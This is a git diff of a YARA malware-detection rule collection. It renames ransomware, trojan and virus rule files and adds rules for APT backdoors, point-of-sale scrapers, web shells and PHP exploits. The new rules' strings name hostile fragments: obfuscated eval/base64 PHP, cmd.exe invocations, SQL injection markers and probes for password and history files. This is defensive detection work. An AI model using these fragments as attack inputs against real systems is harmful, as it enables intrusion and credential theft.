diff --git a/yara/ransomware/Win32.Ransomware.Termite.yara b/yara-ReversingLabs/ransomware/Win32.Ransomware.Termite.yara
similarity index 100%
rename from yara/ransomware/Win32.Ransomware.Termite.yara
rename to yara-ReversingLabs/ransomware/Win32.Ransomware.Termite.yara
diff --git a/yara/ransomware/Win32.Ransomware.Teslacrypt.yara b/yara-ReversingLabs/ransomware/Win32.Ransomware.Teslacrypt.yara
similarity index 100%
rename from yara/ransomware/Win32.Ransomware.Teslacrypt.yara
rename to yara-ReversingLabs/ransomware/Win32.Ransomware.Teslacrypt.yara
diff --git a/yara/ransomware/Win32.Ransomware.Teslarvng.yara b/yara-ReversingLabs/ransomware/Win32.Ransomware.Teslarvng.yara
similarity index 100%
rename from yara/ransomware/Win32.Ransomware.Teslarvng.yara
rename to yara-ReversingLabs/ransomware/Win32.Ransomware.Teslarvng.yara
diff --git a/yara/ransomware/Win32.Ransomware.Thanatos.yara b/yara-ReversingLabs/ransomware/Win32.Ransomware.Thanatos.yara
similarity index 100%
rename from yara/ransomware/Win32.Ransomware.Thanatos.yara
rename to yara-ReversingLabs/ransomware/Win32.Ransomware.Thanatos.yara
diff --git a/yara/ransomware/Win32.Ransomware.TorrentLocker.yara b/yara-ReversingLabs/ransomware/Win32.Ransomware.TorrentLocker.yara
similarity index 100%
rename from yara/ransomware/Win32.Ransomware.TorrentLocker.yara
rename to yara-ReversingLabs/ransomware/Win32.Ransomware.TorrentLocker.yara
diff --git a/yara/ransomware/Win32.Ransomware.VHDLocker.yara b/yara-ReversingLabs/ransomware/Win32.Ransomware.VHDLocker.yara
similarity index 100%
rename from yara/ransomware/Win32.Ransomware.VHDLocker.yara
rename to yara-ReversingLabs/ransomware/Win32.Ransomware.VHDLocker.yara
diff --git a/yara/ransomware/Win32.Ransomware.VegaLocker.yara b/yara-ReversingLabs/ransomware/Win32.Ransomware.VegaLocker.yara
similarity index 100%
rename from yara/ransomware/Win32.Ransomware.VegaLocker.yara
rename to yara-ReversingLabs/ransomware/Win32.Ransomware.VegaLocker.yara
diff --git a/yara/ransomware/Win32.Ransomware.Velso.yara b/yara-ReversingLabs/ransomware/Win32.Ransomware.Velso.yara
similarity index 100%
rename from yara/ransomware/Win32.Ransomware.Velso.yara
rename to yara-ReversingLabs/ransomware/Win32.Ransomware.Velso.yara
diff --git a/yara/ransomware/Win32.Ransomware.WannaCry.yara b/yara-ReversingLabs/ransomware/Win32.Ransomware.WannaCry.yara
similarity index 100%
rename from yara/ransomware/Win32.Ransomware.WannaCry.yara
rename to yara-ReversingLabs/ransomware/Win32.Ransomware.WannaCry.yara
diff --git a/yara/ransomware/Win32.Ransomware.WaspLocker.yara b/yara-ReversingLabs/ransomware/Win32.Ransomware.WaspLocker.yara
similarity index 100%
rename from yara/ransomware/Win32.Ransomware.WaspLocker.yara
rename to yara-ReversingLabs/ransomware/Win32.Ransomware.WaspLocker.yara
diff --git a/yara/ransomware/Win32.Ransomware.Wastedlocker.yara b/yara-ReversingLabs/ransomware/Win32.Ransomware.Wastedlocker.yara
similarity index 100%
rename from yara/ransomware/Win32.Ransomware.Wastedlocker.yara
rename to yara-ReversingLabs/ransomware/Win32.Ransomware.Wastedlocker.yara
diff --git a/yara/ransomware/Win32.Ransomware.WinWord64.yara b/yara-ReversingLabs/ransomware/Win32.Ransomware.WinWord64.yara
similarity index 100%
rename from yara/ransomware/Win32.Ransomware.WinWord64.yara
rename to yara-ReversingLabs/ransomware/Win32.Ransomware.WinWord64.yara
diff --git a/yara/ransomware/Win32.Ransomware.WsIR.yara b/yara-ReversingLabs/ransomware/Win32.Ransomware.WsIR.yara
similarity index 100%
rename from yara/ransomware/Win32.Ransomware.WsIR.yara
rename to yara-ReversingLabs/ransomware/Win32.Ransomware.WsIR.yara
diff --git a/yara/ransomware/Win32.Ransomware.Xorist.yara b/yara-ReversingLabs/ransomware/Win32.Ransomware.Xorist.yara
similarity index 100%
rename from yara/ransomware/Win32.Ransomware.Xorist.yara
rename to yara-ReversingLabs/ransomware/Win32.Ransomware.Xorist.yara
diff --git a/yara/ransomware/Win32.Ransomware.Zeoticus.yara b/yara-ReversingLabs/ransomware/Win32.Ransomware.Zeoticus.yara
similarity index 100%
rename from yara/ransomware/Win32.Ransomware.Zeoticus.yara
rename to yara-ReversingLabs/ransomware/Win32.Ransomware.Zeoticus.yara
diff --git a/yara/ransomware/Win32.Ransomware.Zeppelin.yara b/yara-ReversingLabs/ransomware/Win32.Ransomware.Zeppelin.yara
similarity index 100%
rename from yara/ransomware/Win32.Ransomware.Zeppelin.yara
rename to yara-ReversingLabs/ransomware/Win32.Ransomware.Zeppelin.yara
diff --git a/yara/ransomware/Win32.Ransomware.ZeroCrypt.yara b/yara-ReversingLabs/ransomware/Win32.Ransomware.ZeroCrypt.yara
similarity index 100%
rename from yara/ransomware/Win32.Ransomware.ZeroCrypt.yara
rename to yara-ReversingLabs/ransomware/Win32.Ransomware.ZeroCrypt.yara
diff --git a/yara/ransomware/Win32.Ransomware.Zhen.yara b/yara-ReversingLabs/ransomware/Win32.Ransomware.Zhen.yara
similarity index 100%
rename from yara/ransomware/Win32.Ransomware.Zhen.yara
rename to yara-ReversingLabs/ransomware/Win32.Ransomware.Zhen.yara
diff --git a/yara/ransomware/Win32.Ransomware.Zoldon.yara b/yara-ReversingLabs/ransomware/Win32.Ransomware.Zoldon.yara
similarity index 100%
rename from yara/ransomware/Win32.Ransomware.Zoldon.yara
rename to yara-ReversingLabs/ransomware/Win32.Ransomware.Zoldon.yara
diff --git a/yara/ransomware/Win64.Ransomware.Ako.yara b/yara-ReversingLabs/ransomware/Win64.Ransomware.Ako.yara
similarity index 100%
rename from yara/ransomware/Win64.Ransomware.Ako.yara
rename to yara-ReversingLabs/ransomware/Win64.Ransomware.Ako.yara
diff --git a/yara/ransomware/Win64.Ransomware.Albabat.yara b/yara-ReversingLabs/ransomware/Win64.Ransomware.Albabat.yara
similarity index 100%
rename from yara/ransomware/Win64.Ransomware.Albabat.yara
rename to yara-ReversingLabs/ransomware/Win64.Ransomware.Albabat.yara
diff --git a/yara/ransomware/Win64.Ransomware.AntiWar.yara b/yara-ReversingLabs/ransomware/Win64.Ransomware.AntiWar.yara
similarity index 100%
rename from yara/ransomware/Win64.Ransomware.AntiWar.yara
rename to yara-ReversingLabs/ransomware/Win64.Ransomware.AntiWar.yara
diff --git a/yara/ransomware/Win64.Ransomware.AwesomeScott.yara b/yara-ReversingLabs/ransomware/Win64.Ransomware.AwesomeScott.yara
similarity index 100%
rename from yara/ransomware/Win64.Ransomware.AwesomeScott.yara
rename to yara-ReversingLabs/ransomware/Win64.Ransomware.AwesomeScott.yara
diff --git a/yara/ransomware/Win64.Ransomware.BlackBasta.yara b/yara-ReversingLabs/ransomware/Win64.Ransomware.BlackBasta.yara
similarity index 100%
rename from yara/ransomware/Win64.Ransomware.BlackBasta.yara
rename to yara-ReversingLabs/ransomware/Win64.Ransomware.BlackBasta.yara
diff --git a/yara/ransomware/Win64.Ransomware.Cactus.yara b/yara-ReversingLabs/ransomware/Win64.Ransomware.Cactus.yara
similarity index 100%
rename from yara/ransomware/Win64.Ransomware.Cactus.yara
rename to yara-ReversingLabs/ransomware/Win64.Ransomware.Cactus.yara
diff --git a/yara/ransomware/Win64.Ransomware.Curator.yara b/yara-ReversingLabs/ransomware/Win64.Ransomware.Curator.yara
similarity index 100%
rename from yara/ransomware/Win64.Ransomware.Curator.yara
rename to yara-ReversingLabs/ransomware/Win64.Ransomware.Curator.yara
diff --git a/yara/ransomware/Win64.Ransomware.DST.yara b/yara-ReversingLabs/ransomware/Win64.Ransomware.DST.yara
similarity index 100%
rename from yara/ransomware/Win64.Ransomware.DST.yara
rename to yara-ReversingLabs/ransomware/Win64.Ransomware.DST.yara
diff --git a/yara/ransomware/Win64.Ransomware.HermeticRansom.yara b/yara-ReversingLabs/ransomware/Win64.Ransomware.HermeticRansom.yara
similarity index 100%
rename from yara/ransomware/Win64.Ransomware.HermeticRansom.yara
rename to yara-ReversingLabs/ransomware/Win64.Ransomware.HermeticRansom.yara
diff --git a/yara/ransomware/Win64.Ransomware.HotCoffee.yara b/yara-ReversingLabs/ransomware/Win64.Ransomware.HotCoffee.yara
similarity index 100%
rename from yara/ransomware/Win64.Ransomware.HotCoffee.yara
rename to yara-ReversingLabs/ransomware/Win64.Ransomware.HotCoffee.yara
diff --git a/yara/ransomware/Win64.Ransomware.Nokoyawa.yara b/yara-ReversingLabs/ransomware/Win64.Ransomware.Nokoyawa.yara
similarity index 100%
rename from yara/ransomware/Win64.Ransomware.Nokoyawa.yara
rename to yara-ReversingLabs/ransomware/Win64.Ransomware.Nokoyawa.yara
diff --git a/yara/ransomware/Win64.Ransomware.Pandora.yara b/yara-ReversingLabs/ransomware/Win64.Ransomware.Pandora.yara
similarity index 100%
rename from yara/ransomware/Win64.Ransomware.Pandora.yara
rename to yara-ReversingLabs/ransomware/Win64.Ransomware.Pandora.yara
diff --git a/yara/ransomware/Win64.Ransomware.RedRoman.yara b/yara-ReversingLabs/ransomware/Win64.Ransomware.RedRoman.yara
similarity index 100%
rename from yara/ransomware/Win64.Ransomware.RedRoman.yara
rename to yara-ReversingLabs/ransomware/Win64.Ransomware.RedRoman.yara
diff --git a/yara/ransomware/Win64.Ransomware.Rook.yara b/yara-ReversingLabs/ransomware/Win64.Ransomware.Rook.yara
similarity index 100%
rename from yara/ransomware/Win64.Ransomware.Rook.yara
rename to yara-ReversingLabs/ransomware/Win64.Ransomware.Rook.yara
diff --git a/yara/ransomware/Win64.Ransomware.SeedLocker.yara b/yara-ReversingLabs/ransomware/Win64.Ransomware.SeedLocker.yara
similarity index 100%
rename from yara/ransomware/Win64.Ransomware.SeedLocker.yara
rename to yara-ReversingLabs/ransomware/Win64.Ransomware.SeedLocker.yara
diff --git a/yara/ransomware/Win64.Ransomware.Seth.yara b/yara-ReversingLabs/ransomware/Win64.Ransomware.Seth.yara
similarity index 100%
rename from yara/ransomware/Win64.Ransomware.Seth.yara
rename to yara-ReversingLabs/ransomware/Win64.Ransomware.Seth.yara
diff --git a/yara/ransomware/Win64.Ransomware.Solaso.yara b/yara-ReversingLabs/ransomware/Win64.Ransomware.Solaso.yara
similarity index 100%
rename from yara/ransomware/Win64.Ransomware.Solaso.yara
rename to yara-ReversingLabs/ransomware/Win64.Ransomware.Solaso.yara
diff --git a/yara/ransomware/Win64.Ransomware.Vovalex.yara b/yara-ReversingLabs/ransomware/Win64.Ransomware.Vovalex.yara
similarity index 100%
rename from yara/ransomware/Win64.Ransomware.Vovalex.yara
rename to yara-ReversingLabs/ransomware/Win64.Ransomware.Vovalex.yara
diff --git a/yara/ransomware/Win64.Ransomware.WhiteBlackCrypt.yara b/yara-ReversingLabs/ransomware/Win64.Ransomware.WhiteBlackCrypt.yara
similarity index 100%
rename from yara/ransomware/Win64.Ransomware.WhiteBlackCrypt.yara
rename to yara-ReversingLabs/ransomware/Win64.Ransomware.WhiteBlackCrypt.yara
diff --git a/yara/ransomware/Win64.Ransomware.Wintenzz.yara b/yara-ReversingLabs/ransomware/Win64.Ransomware.Wintenzz.yara
similarity index 100%
rename from yara/ransomware/Win64.Ransomware.Wintenzz.yara
rename to yara-ReversingLabs/ransomware/Win64.Ransomware.Wintenzz.yara
diff --git a/yara/trojan/Linux.Trojan.AcidRain.yara b/yara-ReversingLabs/trojan/Linux.Trojan.AcidRain.yara
similarity index 100%
rename from yara/trojan/Linux.Trojan.AcidRain.yara
rename to yara-ReversingLabs/trojan/Linux.Trojan.AcidRain.yara
diff --git a/yara/trojan/Linux.Trojan.BiBiWiper.yara b/yara-ReversingLabs/trojan/Linux.Trojan.BiBiWiper.yara
similarity index 100%
rename from yara/trojan/Linux.Trojan.BiBiWiper.yara
rename to yara-ReversingLabs/trojan/Linux.Trojan.BiBiWiper.yara
diff --git a/yara/trojan/Win32.Trojan.BiBiWiper.yara b/yara-ReversingLabs/trojan/Win32.Trojan.BiBiWiper.yara
similarity index 100%
rename from yara/trojan/Win32.Trojan.BiBiWiper.yara
rename to yara-ReversingLabs/trojan/Win32.Trojan.BiBiWiper.yara
diff --git a/yara/trojan/Win32.Trojan.CaddyWiper.yara b/yara-ReversingLabs/trojan/Win32.Trojan.CaddyWiper.yara
similarity index 100%
rename from yara/trojan/Win32.Trojan.CaddyWiper.yara
rename to yara-ReversingLabs/trojan/Win32.Trojan.CaddyWiper.yara
diff --git a/yara/trojan/Win32.Trojan.Dridex.yara b/yara-ReversingLabs/trojan/Win32.Trojan.Dridex.yara
similarity index 100%
rename from yara/trojan/Win32.Trojan.Dridex.yara
rename to yara-ReversingLabs/trojan/Win32.Trojan.Dridex.yara
diff --git a/yara/trojan/Win32.Trojan.Emotet.yara b/yara-ReversingLabs/trojan/Win32.Trojan.Emotet.yara
similarity index 100%
rename from yara/trojan/Win32.Trojan.Emotet.yara
rename to yara-ReversingLabs/trojan/Win32.Trojan.Emotet.yara
diff --git a/yara/trojan/Win32.Trojan.HermeticWiper.yara b/yara-ReversingLabs/trojan/Win32.Trojan.HermeticWiper.yara
similarity index 100%
rename from yara/trojan/Win32.Trojan.HermeticWiper.yara
rename to yara-ReversingLabs/trojan/Win32.Trojan.HermeticWiper.yara
diff --git a/yara/trojan/Win32.Trojan.IsaacWiper.yara b/yara-ReversingLabs/trojan/Win32.Trojan.IsaacWiper.yara
similarity index 100%
rename from yara/trojan/Win32.Trojan.IsaacWiper.yara
rename to yara-ReversingLabs/trojan/Win32.Trojan.IsaacWiper.yara
diff --git a/yara/trojan/Win32.Trojan.TrickBot.yara b/yara-ReversingLabs/trojan/Win32.Trojan.TrickBot.yara
similarity index 100%
rename from yara/trojan/Win32.Trojan.TrickBot.yara
rename to yara-ReversingLabs/trojan/Win32.Trojan.TrickBot.yara
diff --git a/yara/virus/Linux.Virus.Vit.yara b/yara-ReversingLabs/virus/Linux.Virus.Vit.yara
similarity index 100%
rename from yara/virus/Linux.Virus.Vit.yara
rename to yara-ReversingLabs/virus/Linux.Virus.Vit.yara
diff --git a/yara/virus/Win32.Virus.Awfull.yara b/yara-ReversingLabs/virus/Win32.Virus.Awfull.yara
similarity index 100%
rename from yara/virus/Win32.Virus.Awfull.yara
rename to yara-ReversingLabs/virus/Win32.Virus.Awfull.yara
diff --git a/yara/virus/Win32.Virus.Cmay.yara b/yara-ReversingLabs/virus/Win32.Virus.Cmay.yara
similarity index 100%
rename from yara/virus/Win32.Virus.Cmay.yara
rename to yara-ReversingLabs/virus/Win32.Virus.Cmay.yara
diff --git a/yara/virus/Win32.Virus.DeadCode.yara b/yara-ReversingLabs/virus/Win32.Virus.DeadCode.yara
similarity index 100%
rename from yara/virus/Win32.Virus.DeadCode.yara
rename to yara-ReversingLabs/virus/Win32.Virus.DeadCode.yara
diff --git a/yara/virus/Win32.Virus.Elerad.yara b/yara-ReversingLabs/virus/Win32.Virus.Elerad.yara
similarity index 100%
rename from yara/virus/Win32.Virus.Elerad.yara
rename to yara-ReversingLabs/virus/Win32.Virus.Elerad.yara
diff --git a/yara/virus/Win32.Virus.Greenp.yara b/yara-ReversingLabs/virus/Win32.Virus.Greenp.yara
similarity index 100%
rename from yara/virus/Win32.Virus.Greenp.yara
rename to yara-ReversingLabs/virus/Win32.Virus.Greenp.yara
diff --git a/yara/virus/Win32.Virus.Mocket.yara b/yara-ReversingLabs/virus/Win32.Virus.Mocket.yara
similarity index 100%
rename from yara/virus/Win32.Virus.Mocket.yara
rename to yara-ReversingLabs/virus/Win32.Virus.Mocket.yara
diff --git a/yara/virus/Win32.Virus.Negt.yara b/yara-ReversingLabs/virus/Win32.Virus.Negt.yara
similarity index 100%
rename from yara/virus/Win32.Virus.Negt.yara
rename to yara-ReversingLabs/virus/Win32.Virus.Negt.yara
diff --git a/yara-mikesxrs/.gitignore b/yara-mikesxrs/.gitignore
new file mode 100644
index 0000000..9bea433
--- /dev/null
+++ b/yara-mikesxrs/.gitignore
@@ -0,0 +1,2 @@
+
+.DS_Store
diff --git a/yara-mikesxrs/1aN0rmus/1aN0rmus_index.yara b/yara-mikesxrs/1aN0rmus/1aN0rmus_index.yara
new file mode 100644
index 0000000..d566d52
--- /dev/null
+++ b/yara-mikesxrs/1aN0rmus/1aN0rmus_index.yara
@@ -0,0 +1,396 @@
+rule backdoor_apt_pcclient
+{
+meta:
+    author = "@patrickrolsen"
+    maltype = "APT.PCCLient"
+    filetype = "DLL"
+    version = "0.1"
+    description = "Detects the dropper: 869fa4dfdbabfabe87d334f85ddda234 AKA dw20.dll/msacm32.drv dropped by 4a85af37de44daf5917f545c6fd03902 (RTF)"
+    date = "2012-10"
+strings:
+    $magic = { 4d 5a } // MZ
+    $string1 = "www.micro1.zyns.com"
+    $string2 = "Mozilla/4.0 (compatible; MSIE 8.0; Win32)"
+    $string3 = "msacm32.drv" wide
+    $string4 = "C:\\Windows\\Explorer.exe" wide
+    $string5 = "Elevation:Administrator!" wide
+    $string6 = "C:\\Users\\cmd\\Desktop\\msacm32\\Release\\msacm32.pdb"
+condition:
+    $magic at 0 and 4 of ($string*)
+}
+
+rule pos_memory_scrapper
+{
+meta:
+    author = "@patrickrolsen"
+    maltype = "Point of Sale (POS) Malware Memory Scraper"
+    version = "0.1"
+    description = "POS Memory Scraper"
+    reference = "7f9cdc380eeed16eaab3e48d59f271aa -> http://www.xylibox.com/2013/05/dump-memory-grabber-blackpos.html"
+    date = "12/30/2013"
+strings:
+    $string1 = "kartoxa" nocase
+    $string2 = "CC2 region:"
+    $string3 = "CC memregion:"
+    $string4 = "target pid:"
+    $string5 = "scan all processes:"
+    $string6 = "<pid> <PATTERN>"
+condition:
+    all of ($string*)
+}
+
+rule FE_PCAPs
+{
+meta:
+    author = "@patrickrolsen"
+    maltype = "N/A"
+    version = "0.1"
+    description = "Find FireEye PCAPs uploaded to Virus Total"
+    date = "12/30/2013"
+strings:
+    $magic = {D4 C3 B2 A1}
+    $ip1 = {0A 00 00 ?? C7 10 C7 ??} // "10.0.0.?? -> 199.16.199.??
+    $ip2 = {C7 10 C7 ?? 0A 00 00 ??} // "199.16.199.?? -> 10.0.0.??"
+condition:
+    $magic at 0 and all of ($ip*)
+}
+
+// Point of Sale (POS) Malware
+
+rule pos_memory_scrapper2
+{
+meta:
+    author = "@patrickrolsen"
+    maltype = "Point of Sale (POS) Malware Memory Scraper"
+    version = "0.2"
+    description = "POS Memory Scraper"
+    reference = "7f9cdc380eeed16eaab3e48d59f271aa http://www.xylibox.com/2013/05/dump-memory-grabber-blackpos.html"
+    date = "01/03/2014"
+strings:
+    $magic = { 4D 5A } // MZ Header
+    $string1 = "kartoxa" nocase
+    $string2 = "CC2 region:"
+    $string3 = "CC memregion:"
+    $string4 = "target pid:"
+    $string5 = "scan all processes:"
+    $string6 = "<pid> <PATTERN>"
+    $string7 = "KAPTOXA" nocase
+condition:
+    ($magic at 0) and all of ($string*)
+}
+rule pos_malwre_dexter_stardust
+{
+meta:
+    author = "@patrickrolsen"
+    maltype = "Dexter Malware - StarDust Variant"
+    version = "0.1"
+    description = "Table 2 arbornetworks.com/asert/wp-content/uploads/2013/12/Dexter-and-Project-Hook-Break-the-Bank.pdf"
+    reference = "16b596de4c0e4d2acdfdd6632c80c070, 2afaa709ef5260184cbda8b521b076e1, and e3dd1dc82ddcfaf410372ae7e6b2f658"
+    date = "12/30/2013"
+strings:
+    $magic = { 4D 5A } // MZ Header
+    $string1 = "ceh_3\\.\\ceh_4\\..\\ceh_6"
+    $string2 = "Yatoed3fe3rex23030am39497403"
+    $string3 = "Poo7lo276670173quai16568unto1828Oleo9eds96006nosysump7hove19"
+    $string4 = "CommonFile.exe"
+condition:
+    ($magic at 0) and all of ($string*)
+}
+    
+rule pos_malware_project_hook
+{
+meta:
+    author = "@patrickrolsen"
+    maltype = "Project Hook"
+    version = "0.1"
+    description = "Table 1 arbornetworks.com/asert/wp-content/uploads/2013/12/Dexter-and-Project-Hook-Break-the-Bank.pdf"
+    reference = "759154d20849a25315c4970fe37eac59"
+    date = "12/30/2013"
+strings:
+    $magic = { 4D 5A } // MZ Header
+    $string1 = "CallImage.exe"
+    $string2 = "BurpSwim"
+    $string3 = "Work\\Project\\Load"
+    $string4 = "WortHisnal"
+    
+condition:
+    ($magic at 0) and all of ($string*)
+}
+
+rule pdb_strings_Rescator
+{
+meta:
+    author = "@patrickrolsen"
+    maltype = "N/A Threat Intel..."
+    version = "0.2"
+    description = "Rescator PDB strings within binaries"
+    date = "01/03/2014"
+strings:
+    $magic = { 4D 5A } // MZ Header
+    $pdb1 = "\\Projects\\Rescator" nocase
+condition:
+    ($magic at 0) and $pdb1
+}
+
+rule rtf_Kaba_jDoe
+{
+meta:
+    author = "@patrickrolsen"
+    maltype = "APT.Kaba"
+    filetype = "RTF"
+    version = "0.1"
+    description = "fe439af268cd3de3a99c21ea40cf493f, d0e0e68a88dce443b24453cc951cf55f, b563af92f144dea7327c9597d9de574e, and def0c9a4c732c3a1e8910db3f9451620"
+    date = "2013-12-10"
+strings:
+    $magic1 = { 7b 5c 72 74 30 31 } // {\rt01
+    $magic2 = { 7b 5c 72 74 66 31 } // {\rtf1
+    $magic3 = { 7b 5c 72 74 78 61 33 } // {\rtxa3
+    $author1 = { 4A 6F 68 6E 20 44 6F 65 } // "John Doe"
+    $author2 = { 61 75 74 68 6f 72 20 53 74 6f 6e 65 } // "author Stone"
+    $string1 = { 44 30 [16] 43 46 [23] 31 31 45 }
+condition:
+    ($magic1 or $magic2 or $magic3 at 0) and all of ($author*) and $string1
+} 
+
+rule rtf_yahoo_ken
+{
+meta:
+    author = "@patrickrolsen"
+    maltype = "Yahoo Ken"
+    filetype = "RTF"
+    version = "0.1"
+    description = "Test rule"
+    date = "2013-12-14"
+strings:
+    $magic1 = { 7b 5c 72 74 30 31 } // {\rt01
+    $magic2 = { 7b 5c 72 74 66 31 } // {\rtf1
+    $magic3 = { 7b 5c 72 74 78 61 33 } // {\rtxa3
+    $author1 = { 79 61 68 6f 6f 20 6b 65 63 } // "yahoo ken"
+condition:
+    ($magic1 or $magic2 or $magic3 at 0) and $author1
+} 
+
+rule Backdoor_APT_Mongall
+{
+meta:
+    author = "@patrickrolsen"
+    maltype = "Backdoor.APT.Mongall"
+    version = "0.1"
+    reference = "fd69a799e21ccb308531ce6056944842" 
+    date = "01/04/2014"
+strings:
+    $author  = "author user"
+    $title   = "title Vjkygdjdtyuj" nocase
+    $comp    = "company ooo"
+    $cretime = "creatim\\yr2012\\mo4\\dy19\\hr15\\min10"
+    $passwd  = "password 00000000"
+condition:
+        all of them
+}
+
+rule tran_duy_linh
+{
+meta:
+    author = "@patrickrolsen"
+    maltype = "Misc."
+    version = "0.1"
+    reference = "8fa804105b1e514e1998e543cd2ca4ea, 872876cfc9c1535cd2a5977568716ae1, etc." 
+    date = "2013-12-12"
+strings:
+    $magic = {D0 CF 11 E0} //DOCFILE0
+    $string1 = "Tran Duy Linh" fullword
+    $string2 = "DLC Corporation" fullword
+condition:
+    $magic at 0 and all of ($string*)
+}
+
+rule web_log_review
+{
+meta:
+    author = "@patrickrolsen"
+    version = "0.1"
+    reference = "Key words in weblogs - Very likely FPs in here."
+    date = "2013-12-14"
+strings:
+    $s =   "GET /.htaccess" nocase
+    $s0 =  "GET /db/main.php" nocase
+    $s3 =  "GET /dbadmin/main.php" nocase
+    $s4 =  "GET /phpinfo.php" nocase
+    $s5 =  "GET /password" nocase
+    $s6 =  "GET /passwd" nocase
+    $s7 =  "GET /phpmyadmin2" nocase
+    $s8 =  "GET /c99shell.php" nocase
+    $s9 =  "GET /c99.php" nocase
+    $s10 = "GET /response.write" nocase
+    $s11 = "GET /&dir" nocase
+    $s12 = "backdoor.php" nocase
+    $s13 = "GET /.htpasswd" nocase
+    $s14 = "GET /htaccess.bak" nocase
+    $s15 = "GET /htaccess.txt" nocase
+    $s16 = "GET /.bash_history" nocase
+    $s17 = "GET /_sqladm" nocase
+    $s18 = "'$IFS/etc/privpasswd;'" nocase
+    $s19 = ";cat /tmp/config/usr.ini" nocase
+    $s20 = "v0pCr3w" nocase
+    $s21 = "eval(base64_decode" nocase
+    $s22 = "nob0dyCr3w" nocase
+    $s23 = "eval(gzinflate" nocase
+    $s24 = "Hacked by" fullword
+    $s25 = "%5Bcmd%5D" nocase
+    $s26 = "[cmd]" nocase
+    $s27 = "union+select" nocase
+    $s28 = "UNION%20SELECT" nocase
+    $s29 = "(str_rot13" nocase
+
+condition:
+    any of ($s*)
+}
+
+rule acunetix_web_scanner
+{
+meta:
+    author = "@patrickrolsen"
+    version = "0.1"
+    reference = "Acunetix Web Scanner"
+    date = "2013-12-14"
+strings:
+    $s =   "acunetix_wvs_security_test"
+    $s0 =  "testasp.vulnweb.com"
+    $s1 =  "GET /www.acunetix.tst"
+condition:
+    any of ($s*)
+}
+
+rule php_exploit_GIF
+{
+meta:
+    author = "@patrickrolsen"
+    maltype = "GIF Exploits"
+    version = "0.1"
+    reference = "code.google.com/p/caffsec-malware-analysis"
+    date = "2013-12-14"
+strings:
+    $magic = {47 49 46 38 ?? 61} // GIF8<version>a
+    $string1 = "; // md5 Login" nocase
+    $string2 = "; // md5 Password" nocase
+    $string3 = "shell_exec"
+    $string4 = "(base64_decode"
+    $string5 = "<?php"
+    $string6 = "(str_rot13"
+    $string7 = {3c 3f 70 68 70} // <?php
+condition:
+    ($magic at 0) and any of ($string*)
+}
+
+rule html_exploit_GIF
+{
+meta:
+    author = "@patrickrolsen"
+    maltype = "Web Shells"
+    version = "0.1"
+    reference = "code.google.com/p/caffsec-malware-analysis"
+    date = "2013-12-14"
+strings:
+    $magic = {47 49 46 38 ?? 61} // GIF8<version>a
+    $string1 = {3c 68 74 6d 6c 3e} // <html>
+    $string2 = {3c 48 54 4d 4c 3e} // <HTML>
+condition:
+    ($magic at 0) and (any of ($string*))
+}
+
+rule web_shell_crews
+{
+meta:
+    author = "@patrickrolsen"
+    maltype = "Web Shell Crews"
+    version = "0.4"
+    reference = "http://www.exploit-db.com/exploits/24905/"
+    date = "12/29/2013"
+strings:
+    $mz = { 4d 5a } // MZ
+    
+    $string1 = "v0pCr3w"
+    $string2 = "BENJOLSHELL"
+    $string3 = "EgY_SpIdEr"
+    $string4 = "<title>HcJ"
+    $string5 = "0wn3d"
+    $string6 = "OnLy FoR QbH"
+    $string7 = "wSiLm"
+    $string8 = "b374k r3c0d3d"
+    $string9 = "x'1n73ct|d"
+    $string10 = "## CREATED BY KATE ##"
+    $string11 = "Ikram Ali"
+    $string12 = "FeeLCoMz"
+    $string13 = "s3n4t00r"
+    $string14 = "FaTaLisTiCz_Fx"
+    $string15 = "feelscanz.pl"
+    $string16 = "##[ KONFIGURASI"
+    $string17 = "Created by Kiss_Me"
+    $string18 = "Casper_Cell"
+    $string19 = "# [ CREWET ] #"
+        $string20 = "BY MACKER"
+        $string21 = "FraNGky"
+        $string22 = "1dt.w0lf"
+        $string23 = "Modification By iFX" nocase
+condition:
+    not $mz at 0 and any of ($string*)
+}
+
+rule misc_php_exploits
+{
+meta:
+    author = "@patrickrolsen"
+    version = "0.4"
+    data = "12/29/2013"
+    reference = "Virus Total Downloading PHP files and reviewing them..."
+strings:
+    $mz = { 4d 5a } // MZ
+    $php = "<?php"
+    $string1 = "eval(gzinflate(str_rot13(base64_decode("
+    $string2 = "eval(base64_decode("
+    $string3 = "eval(gzinflate(base64_decode("
+    $string4 = "cmd.exe /c"
+    $string5 = "eva1"
+    $string6 = "urldecode(stripslashes("
+    $string7 = "preg_replace(\"/.*/e\",\"\\x"
+    $string8 = "<?php echo \"<script>"
+    $string9 = "'o'.'w'.'s'" // 'Wi'.'nd'.'o'.'w'.'s'
+    $string10 = "preg_replace(\"/.*/\".'e',chr"
+    $string11 = "exp1ode"
+    $string12 = "cmdexec(\"killall ping;"
+    $string13 = "r57shell.php"
+condition:
+    not $mz at 0 and $php and any of ($string*)
+}
+
+rule zend_framework
+{
+meta:
+    author = "@patrickrolsen"
+    maltype = "Zend Framework"
+    version = "0.3"
+    date = ""12/29/2013""
+strings:
+    $mz = { 4d 5a } // MZ
+    $php = "<?php"
+    $string = "$zend_framework" nocase
+condition:
+    not $mz at 0 and $php and $string
+}
+
+rule jpg_web_shell
+{
+meta:
+    author = "@patrickrolsen"
+    version = "0.1"
+    data = "12/19/2013"
+    reference = "http://www.securelist.com/en/blog/208214192/Malware_in_metadata"
+strings:
+    $magic = { ff d8 ff e? } // e0, e1, e8
+    $string1 = "<script src"
+    $string2 = "/.*/e"
+    $string3 = "base64_decode"
+condition:
+    ($magic at 0) and 1 of ($string*)
+}  
+
diff --git a/yara-mikesxrs/1aN0rmus/PCAPs.yara b/yara-mikesxrs/1aN0rmus/PCAPs.yara
new file mode 100644
index 0000000..a0f28b4
--- /dev/null
+++ b/yara-mikesxrs/1aN0rmus/PCAPs.yara
@@ -0,0 +1,15 @@
+rule FE_PCAPs
+{
+meta:
+    author = "@patrickrolsen"
+    maltype = "N/A"
+    version = "0.1"
+    description = "Find FireEye PCAPs uploaded to Virus Total"
+    date = "12/30/2013"
+strings:
+    $magic = {D4 C3 B2 A1}
+    $ip1 = {0A 00 00 ?? C7 10 C7 ??} // "10.0.0.?? -> 199.16.199.??
+    $ip2 = {C7 10 C7 ?? 0A 00 00 ??} // "199.16.199.?? -> 10.0.0.??"
+condition:
+    $magic at 0 and all of ($ip*)
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/1aN0rmus/exe_rules.yara b/yara-mikesxrs/1aN0rmus/exe_rules.yara
new file mode 100644
index 0000000..9952d91
--- /dev/null
+++ b/yara-mikesxrs/1aN0rmus/exe_rules.yara
@@ -0,0 +1,20 @@
+rule backdoor_apt_pcclient
+{
+meta:
+    author = "@patrickrolsen"
